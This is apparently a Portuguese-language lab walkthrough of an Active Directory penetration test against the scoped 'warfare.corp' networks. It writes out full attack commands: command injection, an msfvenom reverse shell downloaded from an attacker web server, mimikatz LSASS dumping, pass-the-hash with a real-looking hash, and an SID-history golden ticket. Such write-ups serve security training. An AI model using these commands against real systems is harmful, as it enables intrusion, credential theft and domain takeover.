Table Of Contents
Escopo Link to heading
Intervalo de IP externo: 192.168.80.0/24 [192.168.80.1 está fora do escopo] Intervalo de IP interno: 192.168.98.0/24 [192.168.98.1 está fora do escopo]
Acesso Inicial Link to heading
Verificar os hosts disponíveis na rede com a ferramenta nmap
nmap -sn 192.168.80.0/24
Encontramos um host disponível, vamos scannea-lo
nmap -sC -sV --disable-arp-ping -Pn 192.168.80.10
Notamos que existe uma porta 80, vamos visitar o website
Podemos ver o link de inscrição, vamos tentar registrar a nova conta e ver se funciona ou não
Nós nos inscrevemos com uma password de usuário aleatório e se fizermos login com usuário e senha, conseguimos entrar no painel. Então interceptamos parte do tráfego do site e um campo interessante que encontramos foi o campo de e-mail do boletim informativo. Encontramos execução de comando no campo de e-mail. Vamos tentar despejar arquivos críticos como passwd etc.
Econtramos credenciais, vamos tentar um acesso ssh
Enumeração Link to heading
Enumerar a máquina dá poucas pistas para seguir em frente. Vimos que esta máquina tem outro adaptador também conectado em redes diferentes
Encontramos algumas credenciais interessantes no banco de dados de favoritos do Mozilla.
Após encontrarmos algumas credenciais, vamos scannear os hosts de outra rede para tentarmos um pivoting
for i in {1..200} ;do (ping -c 1 192.168.98.$i | grep "bytes from" &) ;done
Pivoting Link to heading
Para pivoting decidi usar o sshuttle porque não exige a necessidade de configurar proxychains. No entanto, essa ferramenta só funciona para pivotar sobre SSH e não fornece outras opções para pivotar sobre servidores proxy TOR ou HTTPS.Um uso interessante do sshuttle é que não precisamos usar proxychains para conectar aos hosts remotos
sudo sshuttle -r privilege@192.168.80.10 192.168.98.15/24 -v
Acesso Inicial Link to heading
Temos as credenciais para o domínio filho. Vamos tentar essa credencial na máquina 192.168.98.30
/usr/share/doc/python3-impacket/examples/psexec.py 'child/john:User1@#$%6@192.168.98.30'
Agora estamos dentro da máquina interna com o PSExec. Precisamos fazer mais enumerações para identificar informações mais críticas na máquina, bem como no domínio. O shell que obtivemos do psexec é bem lento, então geraremos um shell reverso usando msfvenom e usaremos esse shell para conectar de volta.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.200.x LPORT=1337 -f exe -o payload.exe
Após gerar o binário para o shell reverso, usamos o iptables para permitir conexões externas nas portas 80 e 1337
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
Iniciar um servidor web em python para transferirmos o binário
sudo python3 -m http.server 80
Fazer o download do binário no windows
powershell -ep bypass
iwr http://10.10.200.x/payload.exe -OutFile C:\Users\john\Downloads\payload.exe
Conseguimos um shell reverso com o meterpreter
Vamos fazer o upload do mimikatz a partir do meterpreter para um dump de memória e descobrir hashs
upload mimikatz.exe
Executamos o mimikatz para o dump de LSASS
privilege::debug
sekurlsa::logonpasswords
Depois de executar o mimikatz, encontramos outro usuário interessante:
Executando o crackmapexec em um domínio diferente com credenciais recuperadas, descobrimos que ele tem acesso de compartilhamento smb no controlador de domínio filho
Movimento Lateral Link to heading
Descobrimos que o corpmngr é o localadmin no domínio em algum lugar, provavelmente no controlador de domínio filho. Usaremos o hash do corpmngr e executaremos o psexec para mover lateralmente no controlador de domínio filho
/usr/bin/impacket-psexec 'child/corpmngr@192.168.98.120' -hashes :4cb3933610b827a281ec479031128cc6
Ataque de injeção de histórico SID Link to heading
Uma maneira de encontrar o SID de um grupo de outro domínio (por exemplo, “Administradores de Domínio”) é com o PowerView
..\PowerView.ps1
Get-DomainGroup -Identity "Domain Admins" -Domain child.warfare.corp -Properties ObjectSid
Obtendo o SID do domínio pai warfare.corp
Golden Ticket (Mimikatz) com KRBTGT-AES256
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:child.warfare.corp /sid:S-1-5-21-2230830845-3670107699-1251797681 /sids:S-1-5-21-327841210-68185034-2439807140-512 /aes256:211fe9541bf5f0086d0bd86ce1c18bc926f50b1c8712da77f8eb0abe231f52b1 /startoffset:-5 /endin:600 /renewmax:10080 /ptt" "exit
Podemos acessar o controlador de domínio pai por meio do seguinte comando:
cd \\dc01.warfare.corp\c$
Após criar e injetar um Golden Ticket com ferramentas como o Mimikatz, basicamente obtemos controle sobre o domínio alvo. Este acesso privilegiado pode ser usado para uma série de atividades. Aqui estão algumas possibilidades (sempre lembrando que o uso deve ser autorizado, como parte de auditorias ou testes de segurança)
- Criar, modificar ou excluir contas no Active Directory.
- Resetar senhas de qualquer usuário, incluindo administradores.
- Adicionar-se a grupos privilegiados, como “Domain Admins” ou “Enterprise Admins”.